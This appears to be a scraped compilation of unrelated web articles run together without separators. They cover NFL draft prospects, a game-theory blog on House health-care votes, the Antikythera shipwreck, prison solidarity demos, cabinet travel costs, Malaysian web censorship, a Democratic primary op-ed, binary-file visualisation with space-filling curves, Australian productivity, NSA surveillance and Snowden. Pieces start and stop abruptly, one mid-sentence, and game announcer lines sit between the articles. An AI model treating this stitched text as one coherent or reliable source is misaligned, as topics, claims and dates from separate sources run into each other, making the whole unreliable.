8/8/15: The Beavers were held back in 2014 by a weak offensive line. As a result, Woods averaged 6.3 yards per carry for 766 yards and five touchdowns. As a receiver, he reeled in 26 receptions for 179 yards and a score. Woods was banged up in 2013 as he totaled only 127 carries for 477 yards and six touchdowns. The year before, he was a freshman sensation who totaled 940 yards and 13 touchdowns while averaging 4.9 yards per carry. Woods also caught 38 passes for 313 yards as a freshman and followed that up with 47 catches for 440 yards in 2013.
Johnathan Gray, RB, Texas
Height: 5-11. Weight: 215.
Projected 40 Time: 4.61.
Projected Round (2016): FA.
4/26/16: In 2015, Gray rushed for 489 yards on 123 carries (4.0 average) with six receptions for 84 yards. He did not work out at the combine.
8/8/15: Gray has been a solid rotational back for the Longhorns during the past three seasons. He's had totals of 637, 780 and 701 yards over his three years with Texas. Gray notched seven touchdowns in 2014 and caught 20 passes. The Longhorns have rotated their backs, but it would help Gray if he could be the feature back. His highest carry total was 159 as a sophomore.
By Charlie Campbell.Send Charlie an e-mail here: draftcampbell@gmail.com Follow Charlie on Twitter @draftcampbell for updates.The top 2016 running back prospects available for the 2016 NFL Draft. * - denotes 2017 prospect. ** - denotes 2018 prospect.This page was last updatedFollow Walter @walterfootball for updates.Karen Tumulty at the Time blog Swampland perceptively writes:
“the easiest choice for endangered Democrats in swing districts is to vote against the bill–but only if it passes. That’s because they need two things to happen to get re-elected this fall. They need to win independent voters (who in most recent polls, such as this one by Ipsos/McClatchy, are deeply divided on the bill). But they also need the Democratic base in their districts to be energized enough to turn out in force–something that is far less likely to happen if Barack Obama’s signature domestic initiative goes down in flames.”
Tumulty compares the scenario to an earlier vote in 1993 on the Clinton economic plan:
“It was the night of August 5, 1993, and Bill Clinton was one vote short of what he needed to get his economic plan through the House–a vote he got, when freshman Marjorie Margolies-Mezvinsky switched hers. The other side of the Chamber seemed to explode. Republicans pulled out their hankies and started waving them at her, chanting: “Bye-bye, Margie.” Margolies-Mezvinsky learned the hard way that they were right. Her Main Line Philadelphia district was the most Republican-leaning of any represented by a Democrat in Congress. She had sealed her fate: During her campaign, she had promised not to raise taxes, and the budget proposed a hike in federal taxes, including a gasoline tax. On the day of the vote, she appeared on television and told her constituents that she was against the budget. Minutes before the vote, however, on August 5, 1993, President Clinton called to ask Margolies-Mezvinsky to support the measure. She told him that only if it was the deciding vote—in this case, the 218th yea—would she support the measure. “I wasn’t going to do it at 217. I wasn’t going to do it at 219. Only at 218, or I was voting against it,” she recalled.11 She also extracted a promise from Clinton that if she did have to vote for the budget package, that he would attend a conference in her district dedicated to reducing the budget deficit. He agreed (and later fulfilled the pledge). Nevertheless, Margolies-Mezvinsky told Clinton “I think I’m falling on a political sword on this one.”
Tumulty suggests the underlying game is the Prisoner’s Dilemma. Some of her commenters suggest the game is similar to the free-rider problem in provision of public goods. The free-rider problem is very similar to a Prisoner’s Dilemma so really the commenters are echoing her interpretation though they may not realize it.
I claim the interesting version of the game for Democratic Representatives in conservative districts is Chicken. Two cars race towards each other on a road. Each driver can swerve out of the way or drive straight. If one swerves while the other does not, the former loses and the latter wins. If neither swerves, there is a terrible crash. If both swerve, both lose. A variant on this game is immortalized in the James Dean movie “Rebel without a Cause”.
According to Tumulty, Democratic Representatives in conservative districts want to have their cake and eat it: they need healthcare reform to pass to get Democratic turnout but they want to vote against it to keep independents happy. The strategic incentives are easy to figure out in two scenarios. First, suppose the bill is going down however the Rep votes as it does not have enough votes. Then, this Rep should vote against it – at least they get the independents in their district. Second, suppose the bill is going to pass however the Rep votes – they should vote against via the Tumulty logic.
The third scenario is ambiguous. Suppose a Rep’s vote is pivotal so the reform passes if and only if she votes for it. At the present count with retiring Reps, Pelosi needs 216 votes to pass the Senate bill in the House so a Rep is pivotal if there are 215 votes and her vote is the only way the bill will pass. Margie M-M was in this position in 1993. There are two possibilities in the third scenario. In the first, the Rep wants to vote against the bill even when she is pivotal as she is focused on the independent vote. This means she has a dominant strategy to vote against it the bill.
This case is strategically uninteresting and, as in the Margie case, it is implausible for all the undecideds to have a dominant strategy of this form. So let’s turn to the second possibility – many undecideds Rep wants to vote for the bill if they are pivotal. This generates Chicken. If none of the conservative Democratic Reps vote for it, the bill goes down and its a disaster as Democratic voters do not turn out. This is like cars crashing into each other in Chicken. Your ideal though is if someone else votes for it (i.e swerves) in the pivotal scenario and you can sit on the sidelines and vote against it (drive straight). There is a “free-rider” problem in this game as in the Prisoner’s Dilemma. But there is a coördination element too – if you are the pivotal voter you do want to vote for the bill.
Chicken has asymmetric equilibria where one player always swerves and the other drives straight. This corresponds to the case where the conservative Democrats know which of them will fall on their swords and vote for the bill and the rest of them can then vote against it. This is the best equilibrium for Obama as the Senate Bill definitely passes the House. But there is a symmetric equilibrium where each conservative Rep’s strategy is uncertain. They might vote for it, they might not. There is no implicit or explicit coördination among the voters in this equilibrium. This equilibrium is bad for Obama. Sometimes lots of people vote for the bill and it passes with excess votes. But sometimes it fails.
There is lots of strategy involved in trying to influence which equilibrium is played. And there’s lots of strategy among the Reps themselves to generate coordination. If you can commit not to vote for the bill, Obama and Pelosi are not going to twist your arm and they’ll focus on the lower-hanging fruit. Commitment is hard. You can make speeches in your district saying you’ll never vote for the bill. Margie M-M did this but a call from the President persuaded her to flip anyway. Republicans are going to emphasize the size of the independent vote to convince the undecideds that they have a dominant strategy to vote against the bill. And the President is going to hint he’s not going to help you in your re-election campaign if you vote against the bill. Etc., etc.
So, if the Senate bill is finally voted on, as we creep up to 200 votes or so, we’ll see Chicken played in the House. We’ll see who lays an egg.
AdvertisementsMarine archaeologists have recovered a bronze arm from an ancient shipwreck off the Greek island of Antikythera, where the remains of at least seven more priceless statues from the classical world are believed to lie buried.
Divers found the right arm, encrusted and stained green, under half a metre of sediment on the boulder-strewn slope where the ship and its cargo now rest. The huge vessel, perhaps 50m from bow to stern, was sailing from Asia Minor to Rome in 1BC when it foundered near the tiny island between Crete and the Peloponnese.
The project team, from the Greek Ephorate of Underwater Antiquities and Lund University in Sweden, discovered the buried arm with a bespoke underwater metal detector which has revealed the presence of other large metal objects nearby under the seabed. “There should be at least seven statues,” Alexandros Sotiriou, a Greek technical diver on the team told the Guardian. The operation is overseen by Ageliki Simosi, director of the Greek Ephorate of Underwater Antiquities, which is responsible for all underwater archaeology in Greece.
Facebook Twitter Pinterest Detail of the arm discovered under half a metre of sediment by the ancient shipwreck. Photograph: Brett Seymour/EUA/ARGO 2017
“What we’re finding is these sculptures are in among and under the boulders,” said Brendan Foley, co-director of the excavations team at Lund University. “We think it means a minimum of seven, and potentially nine, bronze sculptures still waiting for us down there.” The boulders that overlie the metal objects weigh several tonnes and may have tumbled onto the wreck during a massive earthquake that shook Antikythera and surrounding islands in the 4th century AD.
The bronze arm, probably from a statue of a male, is the highlight of the team’s 2017 excavation season. Among other objects the divers recovered are a patterned slab of red marble the size of a tea tray, a silver tankard, sections of joined wood from the ship’s frame, and a human bone. Last year, the team found the skull, teeth, ribs and other bones of an individual who perished on the wreck. They have since extracted DNA from the skull and from it learned the individual’s sex and where they came from. Until those results are published, the person is known as Pamphilos after divers found the name, meaning “friend of all”, carved on a buried cup that had been decorated with an erotic scene.
The Antikythera wreck first came to light in 1900 when Greek sponge divers happened on the scene in 50 metres of water. Archaeologists have since pulled up spectacular bronze and marble statues, ornate glass and pottery, stunning pieces of jewellery, and a remarkable geared device – the Antikythera mechanism – which modelled the motion of the heavens. During the 2017 excavations, divers recovered a bronze disc that may be a missing part of the ancient device.
But it is the statues that made the wreck famous. In the 1900s, archaeologists working at the site surfaced pieces of a beautiful Hellenistic bronze, named the Antikythera Youth. The statue now stands in the National Archaeological Museum in Athens alongside an impressive bronze head named the Antikythera philosopher, also hauled from the wreck. Both date to the 4th century BC, raising the question of how they came to be aboard the ill-fated ship 300 years later.
Jens Daehner, associate curator of antiquities at the J Paul Getty Museum in Los Angeles, said the Antikythera wreck had already yielded significant bronze statues. “The chance to recover another group of lifesize statues associated with the wreck is extraordinary, because bronzes are usually encountered randomly under the sea, picked up by fishing nets or chanced upon by divers,” he said. “Those finds are not excavated like at Antikythera, where archaeologists can and do document the entire context, which provides all the sorts of very valuable data as to when the sculptures were transported and why they were on the ship: for trade, as booty, or as scrap metal to be recycled.”
Facebook Twitter Pinterest As well as the arm, divers have recovered a patterned slab of red marble the size of a tea tray, a silver tankard, sections of joined wood from the ship’s frame and a human bone. Photograph: Brett Seymour/EUA/ARGO 2017
The bronze recycling industry was huge in classical times and later in the medieval period, leading to the destruction of countless statues and other artefacts that would be priceless today. For this reason, many of the finest specimens of bronze statues that survive were once lost at sea. “Ancient bronze sculpture in general is rare due to the metal having been recycled in antiquity and later. We think of the ones from the sea as those that got away,” said Daehner. “Any chance to recover more Greek sculptures in any medium, but particularly in bronze, should not be missed.”
To recover the statues will take a massive effort. The divers must first remove boulders that are in their way, either by hauling them up, or by drilling holes in the rocks and filling them with grout that expands to fracture the stone. Another option is to crack the boulders open with small shaped charges that technical divers use to rescue people trapped when undersea caves collapse. But even if the statues can be lifted from the sea, they will be broken and need costly and time-consuming conservation and reconstruction.
Statues are not the only objects the excavators hope to find. The latest excavations uncovered a lump of material bearing a bronze disc that matches the size of geared wheels found in the Antikythera mechanism. Wound by a handle, the device showed the movement of the sun, moon and planets in the sky, but not all of the machine was recovered. “The disc looks very exciting indeed,” said Andrew Ramsey, a CT specialist at Nikon Metrology in Tring, who used CT scans to read inscriptions on the original pieces of the mechanism. But the disc may be something entirely different. Preliminary x-ray images reveal no teeth, but an image of a bull, suggesting the disc is not a cog but a decorative item.
Facebook Twitter Pinterest Divers also discovered this piece of material bearing a bronze disc that matches the size of geared wheels found in the Antikythera mechanism. Photograph: Brett Seymour/EUA/ARGO 2017
Mike Edmunds, emeritus professor of astrophysics at Cardiff University and a member of the Antikythera Mechanism Research Project, said the findings are impressive. “They are getting very good at detecting bronze items which raises the possibility that they may be able to find either the missing planetary gearing from the Antikythera mechanism, which we know is there from the analysis of the inscriptions on the mechanism, or a new piece of mechanism, or another mechanism that was being transported, and that would be very exciting.”
The team will return to the wreck in the spring, optimistic that they may pull up fresh treasures from the wreck. “It’s not going to be just the bronze sculptures,” said Foley. “We’re down in the hold of the ship now, so all the other things that would have been carried should be down there as well. Every day is going to be like opening Tut’s tomb.”New Year’s Eve is pushed as a time of year to go out and let your hair down, usually by going to some horribly overpriced, overcrowded club and drinking in an effort to forget the last 12 months. But for many, including anarchist and anti-fascist prisoners around the world, and the many victims of police racism and misrule, the turn of the year will be spent away from loved ones, locked behind steel doors.
The situation is bad and getting worse for prisoners in Britain, as vast overcrowding and resource cuts have pushed the system into near meltdown — provoking the massive Birmingham prison riot which rocked the establishment on December 16th and seems to set to continue to simmer for the foreseeable.
It is a difficult time for prisoners and their friends and families on the outside, and every year anarchists show solidarity with protests outside the prisons, making noise and letting everyone inside know they are not forgotten.
Britain
Three demos are taking place this year, the first on Thursday December 29th at HMP Hindley in Wigan, UK, called by Manchester No Prisons and the IWW Incarcerated Workers Organizing Committee.
6.30pm-9pm at HMP/YOI Hindley, Gibson Street, WN2 5TH Leigh, Wigan [map][FB event]
The organisers note:
HMP Hindley has been branded “the very worst prison ever seen” by a watchdog, with prisoners often banged up in their cells for days at a time, and very high levels of violence. Right now a prisoner takes their own life every three days, and many more harm themselves, at the highest rate since records began. “IPP” prisoners, trapped inside without a release date, are the most likely to kill and harm themselves.
The second and third, on New Years Eve itself, will be the annual Noise Solidarity Demos at Brixton and Pentonville. Hosted by London Campaign Against Police and State Violence, South East London Sisters Uncut, Black Lives Matter UK and the NUS Black Students’ Campaign, these are always a raucous affair. Supporters are asked to bring banners and something to make noise with (pots, pans, kitchen utensils, drums, sirens, speakers, megaphones, horns, your voices).
6.30pm-9pm: HM Prison Brixton, Jebb Avenue, Brixton, SW2 5NA [map] [FB event]
9pm-11pm: HM Prison Pentonville, Caledonian Road, N7 8TT [map] [FB event]
Organisers said:
Black people are killed by the state on the streets, but they are also killed under incarceration. Jimmy Mubenga was suffocated by racist G4S security guards on an aeroplane. Sean Rigg was asphyxiated in Brixton police station. Ricky Bishop was also killed in police custody at Brixton police station. Sarah Campbell died within hours of arriving at Styal Prison. 15 year old Garthe Myatt was killed by security guards at Rainsbrook Secure Training Centre. Between 1990 – 2016 over 5,600 people have died in prison and police custody. Few have ever received justice.
Where they don’t kill you outright, prisons take time from you, isolate you from your community and your family and do the same to your loved ones on the outside. This is not done at random, but is systematically racist in its intent and practice. It is another side of state racism that is elsewhere seen in the racist application of stop and search, immigration law, and extra-judicial killings.
The proportion of people of African-Caribbean and African descent incarcerated here is almost seven times greater to their share of the population. In the United States, the proportion of black prisoners to population is about four times greater.
Incarceration is not only destructive of the lives of black men and women, but also the men, women and children who make up their families, their friends, their lovers and their lives. Every life destroyed inside prison includes many other lives destroyed outside of it.
Noise demos outside of prisons are a continuing tradition across the world. A way of expressing solidarity for people imprisoned during the New Year, remembering those held captive by the state. A noise demo breaks the isolation and alienation of the cells our enemies create, but it does not have to stop at that. It is time to imagine a world without incarceration, without detention, without racism and injustice.
USA
In the US meanwhile, prisonbooks.info put together the following notice:
We want to extend a message of solidarity to folks inside, and wish them a happy new year. Although, a truly happy new year would be one without prisons and the world that needs them.” Here’s a list of events we were able to find, but check in with the prison abolition group in your area to see where you can get plugged in:
They’ve also done a wonderful PDF with birthdays and notes for January prison support.In the wake of Health and Human Services Secretary Tom Price’s Sept. 29 resignation over his use of private jets paid for by the government, other executive branch chiefs are under scrutiny over their travel arrangements.
The Washington Post reported Thursday that Transportation Secretary Elaine Chao used government planes on seven trips this year, with the jets generally costing taxpayers about $5,000 per hour to operate. According to Chao’s spokesperson, the Transportation Department’s ethics counsel had approved the private flights, and Chao had predominantly been flying on commercial airlines.
The Chao news came on the same day that the Treasury Department issued its review of Treasury Secretary Steve Mnuchin’s $800,000 bill for using government planes. Mnuchin took private flights eight times and withdrew a ninth request to use one on a trip to Europe with his wife. The Treasury’s internal counsel found nothing illegal about Mnuchin’s flights but questioned the justification for them.
“What is of concern is a disconnect between |
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Play Purple is victorious!
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Play Grey Play Silver Play Red Play Boar Play Dog
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Play Dragon Play Horse Play Monkey Play Ox Play Rabbit
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Play Ram Play Rat Play Rooster Play Snake Play Tiger
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Your Ally Enemy Unspecified
Couriers Play Your courier has been slain.
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Fallen Play Your barracks has fallen.
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Play Your forces have been destroyed. Play Allied team destroyed. Play An enemy barracks has fallen.
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Fortification Play Your structures are fortified. Play Enemy structures are fortified. Play Structures fortified.
Play Fortified.This weekend, tens of thousands of ordinary Malaysians will flood into the cities of Kuala Lumpur, Kota Kinabalu and Kuching, with satellite events held in solidarity around the world, to call for the resignation of Prime Minister Najib Razak. The rally, organized by Bersih 2.0, a non-partisan coalition of non-governmental organizations standing against political corruption and calling for electoral reform, comes in the wake of allegations that Razak siphoned off $700m of public money into his personal bank account.
Last month we reported that the Malaysian government had censored the website of the Sarawak Report, which first broke news of the corruption allegations. A few days later, the government also suspended the publication licenses of two print publications that ran the same exposé.
Today, the Malaysian Communication and Multimedia Commission (MCMC) went a step further, warning in a message on its Facebook page that it would be taking steps to block all websites promoting this weekend's rally on the ground that it could “threaten national security.” This threat extends to Malaysia's online news portals, which are the media outlets most free from government control. The blocking threat reneged on an earlier promise that there would be no such censorship, and drew immediate criticism from the opposition party and from civil society groups.
No sooner was it announced, then the crackdown was rolled out. Already, the Bersih 2.0 website is reportedly inaccessible from all three of Malaysia's mobile providers, with blocks from wired Internet providers likely to follow soon. Technology activists from the nonprofit Sinar Project have promoted the use of the censorship circumvention module of EFF's Surveillance Self-Defense as a way for Malaysians to overcome the blocks.
The rally, of course, will go ahead as planned. Even so, the citizens who take to the streets this weekend should take precautions to protect not only—and most importantly—their own physical safety, but also the security of their personal devices. As we have seen in the Arab world and elsewhere, censorship of the Internet is often the last resort of a corrupt government that is soon destined to fall—but not before claiming the freedom of many brave activists. EFF wishes Malaysians a safe, peaceful and powerful demonstration this weekend.Congressman John Delaney formally announced he is running for the Democratic presidential nomination in 2020 last week, officially becoming the first in what appears to be a broad pool of Democrats hoping to unseat Donald Trump. His campaign has a slim chance of success, reminiscent of former Maryland Gov. Martin O’Malley’s bid in 2016, which ended in embarrassment after an abysmal performance in Iowa, the first state to vote in the primaries. While Delaney is even further to the right than Hillary Clinton, his estimated net worth of $90 million allows him to gain an edge despite voters’ lack of interest. His pro-TPP, pro-big bank record is at odds with the interests of the Democratic Party’s base. Worse yet, he provides no enthusiasm to counter the apathy Democrats have inspired in voters over the past decade.
Delaney is likely one of many billionaires and celebrities who view Trump’s presidency as emblematic of a new trend of the rich and famous attaining higher office. Kid Rock, the Rock, Mark Cuban, Mark Zuckerberg and more have been cited as potential candidates. “Our government is hamstrung by excessive partisanship,” wrote Delaney in a Washington Post op-ed announcing his presidential bid. “As a progressive businessman, I’ve made it a priority to be solutions-oriented and have been consistently recognized as one of the most innovative and bipartisan members of Congress.” Delaney’s usage of the contradicting term “progressive businessman” reveals his out of touch view that a conservative with liberal stances on social issues is the antidote to Trump and the Republican Party.
Democrats thought they would easily beat Trump in 2016, and Delaney’s bid represents the attitude that moderate Democrats with no real reason to run are going to jump in the race because they think it will be easy to beat Trump. Whoever runs and becomes the Democratic nominee for president should heed the advice of Rolling Stone‘s Hunter S. Thompson after Democratic presidential candidate George McGovern lost to unpopular President Richard Nixon in 1972: “Any incumbent is unbeatable, except in a time of mushrooming national crisis or a scandal so heinous—and with such obvious roots to the White House—as to pose a clear and present danger to the financial security and/or physical safety of millions of voters in every corner of the country.” He added, “Liberalism itself has failed, and for a pretty good reason. It has been too often compromised by the people who represented it.” These notions ring more true today than ever before; Trump is farther to the right than Nixon, and the political climate is much more receptive to progressivism and political outsiders.
Delaney and Democrats like him don’t offer a solution. In their quest to cultivate the image of a progressive who has the business acumen of a multi-millionaire, they fail to inspire enthusiasm. This strategy of moderating to win was a hallmark of the Obama era, and it led to the devastation of the Democratic Party.
Democratic voters have consistently rejected moderation over the past decade, despite the party establishment’s constant efforts to make it work. Presidential candidates like Delaney who embody this failed strategy dilute the discourse needed to propel Democrats forward and serve as a reminder to voters that the Democratic Party stands for the status quo. Democrats need new leaders, a bolder vision, and to embrace a progressive agenda that focuses on solutions for issues facing working, middle class, and low income voters. Establishment politics doesn’t hold the answers.Edit: Since this post, I've created an interactive tool for binary visualisation - see it at binvis.io
In my day job I often come across binary files with unknown content. I have a set of standard avenues of attack when I confront such a beast - use "file" to see if it's a known file type, "strings" to see if there's readable text, run some in-house code to extract compressed sections, and, of course, fire up a hex editor to take a direct look. There's something missing in that list, though - I have no way to get a quick view of the overall structure of the file. Using a hex editor for this is not much chop - if the first section of the file looks random (i.e. probably compressed or encrypted), who's to say that there isn't a chunk of non-random information a meg further down? Ideally, we want to do this type of broad pattern-finding by eye, so a visualization seems to be in order.
First, lets begin by picking a colour scheme. We have 256 different byte values, but for a first-pass look at a file, we can compress that down into a few common classes:
0x00 0xFF Printable characters Everything else
This covers the most common padding bytes, nicely highlights strings, and lumps everything else into a miscellaneous bucket. The broad outline of what we need to do next is clear - we sample the file at regular intervals, translate each sampled byte to a colour, and write the corresponding pixel to our image. This brings us to the big question - what's the best way to arrange the pixels? A first stab might be to lay the pixels out row by row, snaking to and fro to make sure each pixel is always adjacent to its predecessor. It turns out, however, that this zig-zag pattern is not very satisfying - small scale features (i.e. features that take up only a few lines) tend to get lost. What we want is a layout that maps our one-dimensional sequence of samples onto the 2-d image, while keeping elements that are close together in one dimension as near as possible to each other in two dimensions. This is called "locality preservation", and the space-filling curves are a family of mathematical constructs that have precisely this property. If you're a regular reader of this blog, you may know that I have an almost unseemly fondness for these critters. So, lets add a couple of space-filling curves to the mix to see how they stack up. The Z-Order curve has found wide practical use in computer science. It's not the best in terms of locality preservation, but it's easy and quick to compute. The Hilbert curve, on the other hand, is (nearly) as good as it gets at locality preservation, but is much more complicated to generate. Here's what our three candidate curves look like - in each case, the traversal starts in the top-left corner:
Zigzag Z-order Hilbert
And here they are, visualizing the ksh (Mach-O, dual-architecture) binary distributed with OSX - click for the significantly more spectacular larger versions of the images:
Zigzag Z-order Hilbert
The classical Hilbert and Z-Order curves are actually square, so for these visualizations I've unrolled them, stacking four sub-curves on top of each other. To my eye, the Hilbert curve is the clear winner here. Local features are prominent because they are nicely clumped together. The Z-order curve shows some annoying artifacts with contiguous chunks of data sometimes split between two or more visual blocks.
The downside of the space-filling curve visualizations is that we can't look at a feature in the image and tell where, exactly, it can be found in the file. I'm toying with the idea (though not very seriously) of writing an interactive binary file viewer with a space-filling curve navigation pane. This would let the user click on or hover over a patch of structure and see the file offset and the corresponding hex.
More detail
We can get more detail in these images by increasing the granularity of the colour mapping. One way to do this is to use a trick I first concocted to visualize the Hilbert Curve at scale. The basic idea is to use a 3-d Hilbert curve traversal of the RGB colour cube to create a palette of colours. This makes use of the locality-preserving properties of the Hilbert curve to make sure that similar elements have similar colours in the visualization. See the original post for more.
So, here's a Hilbert curve mapping of a binary file, using a Hilbert-order traversal of the RGB cube as a colour palette. Again, click on the image for the much nicer large scale version:
This shows significantly more fine-grained structure, which might be good for a deep dive into a binary. On the other hand, the colours don't map cleanly to distinct byte classes, so the image is harder to interpret. An ideal hex viewer would let you flick between the two palettes for navigation.
The code
As usual, I'm publishing the code for generating all of the images in this post. The binary visualizations were created with binvis, which is a new addition to scurve, my space-filling curve project. The curve diagrams were made with the "drawcurve" utility to be found in the same place.The other side of the productivity coin is capital investment – sometimes good workers should blame their tools
The productivity debate in Australia is massively distorted by a blind spot, revealed again by the lack of coverage of the annual national accounts figures released on Friday, which showed labour productivity increased but capital productivity fell.
Labour productivity and capital productivity (which measures the increase in output per dollar spent on capital expenditure) combine to produce the overall productivity measure known as “multi-factor productivity”. Australia’s multi-factor productivity has fallen seven out of the past 10 years, yet during that time labour productivity has continued to rise, while capital productivity has fallen.
And yet it is the labour side that gets the attention and criticism.
Imagine for a moment that labour productivity had fallen 3.8% in the past year as had capital productivity (the second biggest such fall in the past 18 years). Imagine as well that labour productivity was now 27% below where it was in 1995.
Were that to be the case our nation’s serious newspapers would be filled to overflowing with editorials about the urgent need for politicians to do something about productivity. There would be calls from business groups like the Business Council of Australia for industrial relations legislation to be changed urgently to arrest the slide. Conservative commentators would write long think pieces about how our workplaces need more flexibility in the workplace, (because more flexibility equals more productivity – proof not required, it’s just a fact).
The Coalition government would likely appoint a new “IR supremo”, and also get the Productivity Commission to look at IR legislation.
Of course you don’t need to imagine such a thing, because such commentary and policy has occurred for many years now. The problem is that while we have had the talk, we haven’t had that level of decline in labour productivity.
Labour productivity in Australia is now 48% above where it was in 1995. In the past year, gross value added (output in real terms) per hour of labour grew by 2.1% – well above the 35-year average of 1.6%. For the 18th year in a row, labour productivity in 2012-13 grew faster than capital productivity.
And in 2012-13, for the 11th consecutive year, capital productivity has declined.
While you ponder this over-a-decade-long drag on multi-factor productivity (the combination of both labour and capital productivity) wrought by capital expenditure, I encourage you to go and read the plethora of articles written on productivity since Friday, which berate CEOs for their decisions, because capital productivity concerns the investment choices made by executives. Actually, I don’t encourage you to do that – because you won’t find any. Capital productivity falls are never blamed on the CEOs.
The Business Council of Australia, for example, has only one mention of it on its website – a speech given by its vice-president, Graham Bradley, in 2012, in which he blames its decline on labour productivity and labour costs before quickly moving on to talk about workplace relations.
Business groups much prefer to talk about the performance of labour. While Bradley is right that capital productivity is influenced by labour productivity, it goes the other way as well. If your CEO invests in a poor IT system, or sub-standard equipment, then your productivity as a worker will suffer.
Similarly, if your CEO invests in mines, which are less productive, but now profitable because of higher mineral prices, then your productivity will fall as well.
It’s no surprise then that in the mining industry labour productivity has fallen in line with capital productivity since the beginning of the mining boom and the massive increase in capital investment. Mining CEOs have chosen to work less productive mines. It doesn’t matter how flexible the labour force is, you can’t change that fact.
But that doesn’t completely explain the 3.8% drop last year, as a number of marginal mining projects were shelved due to falling minerals prices. It also doesn’t explain the fall in capital productivity in sectors like manufacturing:
In the manufacturing sector, labour productivity has grown for 20 years, while capital productivity in the sector has fallen in that time.
Just imagine the outcry from the conservative media, business groups or the now minister for workplace relations, senator Eric Abetz,if it were the other way round.
When capital productivity slumps, we’re told not to worry because capital expenditure will one day lead to productivity growth. Now, it might – although, after 11 consecutive years of decline, it’d be nice to see some evidence – but if we’re going to look at multi-factor productivity, surely we need to have a critical eye on the aspect which has most kept it flat over the past decade.
Instead, any fall in labour productivity – or even just not as fast an increase as in the past – is cause for mass alarm and many, many editorials.
But if we look at the past five years, Australia’s labour productivity has grown quite well compared with the rest of the OECD:
If we take a longer-term look, it’s clear there has been a turnaround in recent times. From 2000 to 2008, Australia’s labour productivity fell faster than in the G7 nations. Since 2010, however, Australia has improved, while the G7 keeps falling – and perhaps commentary here should reflect that:
But how has capital performed? Unfortunately, we don’t have good recent comparable capital productivity data, so let’s judge the performance of Australia’s companies by the measure that is used to judge all companies, and especially all CEOs – the share market.
In the past five years, Australian labour productivity outperformed that of the USA, UK, Japan, Canada, New Zealand, Germany and France, but our stock market has only outperformed France, and is neck and neck with Canada:
Its performance would be even worse if we excluded the share prices of the big four banks (which comprise 30% of the value of the stock market), as they have grown by an average of 171% in the past five years.
Perhaps it is time to find something to blame for all this. Luckily we have it! It must be the lack of flexibility in the labour market, or labour costs. It sure as heck couldn’t be poor business decisions by CEOs. They’re never wrong, are they?The NSA has also conducted a regular program to monitor phone conversations. The agency and the FBI, now cooperating much as the original Senate-House report urged them to do, won a secret order from the Foreign Intelligence Surveillance Court on April 25, giving the government unlimited authority for three months to amass the telephone records of millions of U.S. customers of Verizon, according a report in The Guardian. Sen. Dianne Feinstein, D-Calif., the chairwoman of the Senate Intelligence Committee, said the order appeared to be merely a "three-month renewal of what has been in place for the past seven years." Feinstein and many other senators defended the program that they themselves set in motion in the last decade. Rep. Mike Rogers, R-Mich., chair of the House intelligence committee, said that "within the last few years, this program was used to stop a terrorist attack in the United States."
Nonetheless, the NSA/FBI programs have raised very real concerns over whether this domestic surveillance has violated constitutional protections of privacy for Americans, despite efforts to restrict the data collection to foreign sources. Intelligence professionals counter that the perception of a Big-Brother-like surveillance state must be balanced against the equally real concerns about tracking terrorists that date back to 9/11, issues that have still not been fully resolved today.
The challenge is that even now, in spite of these programs, the intelligence community remains overwhelmed by data, and as the Boston Marathon bombings in April showed, it is very difficult to piece together clues in time to stop an attack. "There are massive gaps in our ability to actually analyze data. Much of the data just sits there and nobody looks at it," says one former NSA official who would discuss classified programs only on condition of anonymity. "People can do pretty horrific things on their own. Whether with explosive devices, or chemicals or biological agents. Everybody's walking around with these devastating weapons. How are you going to stop that?"
Intelligence professionals say that it is only with mass data collection that they can find the key "intersections" of data that allow them to piece together the right clues. For example, if an individual orders a passport and supplies an address where some suspicious people are known to be, that might raise some concerns - without, however, leading to a definite clue to a plot. Yet if the same person who ordered the passport also buys a lot of fertilizer at another address, then only the intersection of those two data points will make the clues add up to a threat that authorities can act on. In a Jan. 30, 2006 op-ed in The New York Times headlined "Why We Listen," former NSA senior director Philip Bobbitt provided a vivid example of how this "threat matrix" works. On Sept. 10, 2001, he wrote, the NSA intercepted two messages: ''The match begins tomorrow'' and ''Tomorrow is zero hour.'' They were picked up from random monitoring of pay phones in areas of Afghanistan where Al Qaeda was active. No one in the intel community knew what to make of them, and in any case they were not translated or disseminated until Sept. 12. But, Bobbitt wrote, "had we at the time cross-referenced credit card accounts, frequent-flyer programs and a cellphone number shared by those two men, data mining might easily have picked up on the 17 other men linked to them and flying on the same day at the same time on four flights."A German panel of legislators has requested a meeting within the next four weeks in Moscow with US whistleblower Edward Snowden, senior politicians announced in Germany's parliament, the Bundestag, in Berlin on Thursday.
The request, issued by a parliamentary committee of inquiry, came just a day after Germany's federal prosecutor-general Harald Range said he had opened a criminal investigation into claims that Washington's National Security Agency (NSA) eavesdropped on Chancellor Angela Merkel's phone. He said this investigation might include questioning Snowden, whose leaking of NSA documents began a year ago.
An extensive preliminary investigation produced sufficient evidence to show that members of the NSA had spied on the phone, Range's office said. Merkel accused Washington of a breach of trust after the phone tapping claims.
President Barack Obama's deputy national security adviser, Ben Rhodes, criticized Germany for pursuing the claims with a criminal investigation.
"The best way to address the concerns that Germany has had about NSA's activities is through a direct dialogue with us," he said.
German politics divided over Snowden
The German parliamentary inquiry was appointed to investigate NSA operations, but has been divided over whether to invite Snowden, who has temporary asylum in Russia, to Berlin to testify.
Germany's two main opposition parties, the Left and the Greens, have called the planned trip to Moscow a pointless piece of self-promotion, and are insisting that any questioning of Snowden should take place in Germany. The German government fears that bringing Snowden onto German soil and not delivering him to the US could seriously damage bilateral relations.
Parliamentarians from the two main parties in Merkel's ruling coalition, the Christian Democrats (CDU) and Social Democrats (SPD), told reporters they wanted an "informal discussion" with Snowden in Moscow in preparation for a formal hearing.
They said they would request that Snowden meet the German legislators there before the Berlin parliamentary summer break begins on July 5.
Snowden has only testified live once before to legislators, speaking by video hookup from Moscow on April 8 to a committee of the Council of Europe in Strasbourg, France.
Anatoly Kucherena, a lawyer in Moscow for Snowden, said the 30-year-old was seeking an extension of his asylum in Russia, which is due to expire in July. Any request to interview him must first be approved by his lawyers.
NSA activities are a sensitive issue in Germany because of the role played in the nation's past by secret police and wiretaps, first under the Nazis and then under the East German Communist regime.
crh/hc (Reuters, dpa, afp)The U.S. and Russia's collaboration is a reversal from the Cold War'space race.' U.S., Russia co-dependent in space
The U.S. and Russia have many disputes, but American space officials are grateful most remain on Earth.
Despite the well-known tensions between Washington and Moscow over the war in Syria, Russian missile deployments along the Polish border and NSA leaker Edward Snowden, NASA says its cooperation has gone on mostly uninterrupted with its Russian counterparts.
Story Continued Below
“It doesn’t appear that we are affected by what’s going on diplomatically with the Russians,” said Al Sofge, director of NASA’s human exploration and operations division. “I don’t know that we’ve ever even discussed it.”
